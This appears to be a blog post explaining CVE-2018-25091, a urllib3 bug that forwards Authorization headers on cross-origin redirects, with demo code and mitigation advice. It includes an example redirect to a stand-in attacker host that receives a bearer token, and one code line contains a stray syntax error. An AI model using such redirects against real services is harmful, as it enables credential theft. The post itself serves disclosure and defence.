CVE-2018-25091 is a security vulnerability found in the popular Python library, urllib3. This bug exists in versions before 1.24.2 and can cause sensitive information to be leaked, specifically when following redirects to a different domain. In this post, we’ll dig into what the problem is, why it’s dangerous, show a practical code example, and how you can protect your Python code.
What is CVE-2018-25091?
The bug happens when urllib3 sends HTTP requests with an Authorization header. If the first response is a redirect (HTTP 3xx), and the destination is a different host, port, or scheme, urllib3 would still send the same Authorization header to the new location. This means your credentials or tokens could leak to a malicious or unintended site.
Why does cross-origin matter?
Cross-origin simply means a different host, port, or scheme (e.g., https://example.com → http://evil.com). Sending sensitive headers like Authorization to another origin can let attackers steal credentials or tokens.
Real-World Risk:
Imagine your app talks to https://api.example.com/private, which requires authentication. Now, if that server (or any MITM attacker) issues a redirect to http://attacker.com/, your token will be sent in cleartext to attacker.com. That’s a major security failure.
How did this bug happen?
This vulnerability is an incomplete fix to a past issue, CVE-2018-20060. The previous fix only removed Auth headers if the origin change was detected case-sensitively (e.g., “Example.com” vs “example.com” were not considered the same, which breaks RFC rules). But later, it was discovered that even with that fix, Auth headers could sneak past for redirects to different hosts, ports, or schemes.
For more, check the original GitHub issue #1551 and the fix PR #1554.
Vulnerable Code Example
import urllib3
# Note: Example has HTTPS, but the redirect will send us to HTTP at another hostname
http = urllib3.PoolManager()
r = http.request(
"GET",
"https://api.example.com/private-data", # Initial request
headers={"Authorization": "Bearer SECRET_TOKEN"},
redirect=True
)
print(r.status)
print(r.data)
If https://api.example.com/private-data responds with
HTTP/1.1 302 Found
Location: http://attacker.com/steal
Result:
Your Authorization: Bearer SECRET_TOKEN will be sent to http://attacker.com/steal!
If this second hop is over HTTP, it’s also sent in cleartext.
You can test it using httpbin.org
import urllib3
http = urllib3.PoolManager()
# Simulate a redirect to another origin
# httpbin has /redirect-to?url=<url> endpoint
r = http.request(
"GET",
"https://httpbin.org/redirect-to?url=http://postman-echo.com/get";,
headers={"Authorization": "Bearer VULNTOKEN"},
redirect=True
)
print(r.status)
print(r.geturl())
print(r.data)
If you look at the network trace (with Wireshark, mitmproxy, or server logs), you’ll see the Authorization header going to postman-echo.com.
Upgrade to latest
pip install --upgrade urllib3
2. Check Your Dependencies
If you’re using requests, botocore, or other Python packages, they might internally use urllib3.
Run:
pip freeze | grep urllib3
3. Manually Control Redirects
If you can’t upgrade, block redirects or strip Auth headers on redirects.
http = urllib3.PoolManager()
r = http.request("GET", "https://api.example.com/private", headers={"Authorization": "token"}, redirect=False)
If you receive a redirect, do not re-send Auth headers automatically.
Links and References
- CVE-2018-25091 on NVD
- urllib3 GitHub issue #1551
- urllib3 Release Notes 1.24.2
- Original Incomplete Fix: CVE-2018-20060
Upgrade urllib3 now or manually prevent Auth header forwarding on cross-origin redirects.
Stay safe! If you want a quick test script or more debugging tips, reply and I’ll share.
Timeline
Published on: 10/15/2023 19:15:00 UTC
Last modified on: 10/19/2023 14:01:00 UTC